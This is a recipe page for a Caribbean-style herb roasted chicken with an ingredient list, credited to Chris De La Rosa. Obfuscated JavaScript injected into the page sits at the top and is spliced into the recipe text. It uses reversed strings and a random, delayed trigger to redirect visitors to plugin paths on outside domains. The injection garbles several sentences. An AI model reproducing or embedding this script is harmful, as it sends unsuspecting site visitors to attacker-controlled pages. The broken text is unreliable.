$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toplay=1&autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toplay=1″ frameborder=”0″ allowfullscreen>

Get my cookbook @ Learn how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make a tasty Herb Roasted Chicken in a few simple steps in this episode of #TastyTuesdays with Chris De La Rosa of CaribbeanPot.com

Brushed with herb infused olive oil and stuffed with fresh scallions, sage, thyme and rosemary, this oven roasted chicken with be tender, juicy and packed with Caribbean flavors.

For this herb roasted chicken you’ll need…

1 whole chicken (about 4 lbs)
1/2 teaspoon salt
1/4 teaspoon black pepper
4 tablespoon olive oil
1 tablespoon parsley
1 tablespoon sage
1 tablespoon rosemary
1 tablespoon thyme
2 cloves garlic

4 sage leaves
2 sprigs rosemary
2 scallions
4 sprigs thyme

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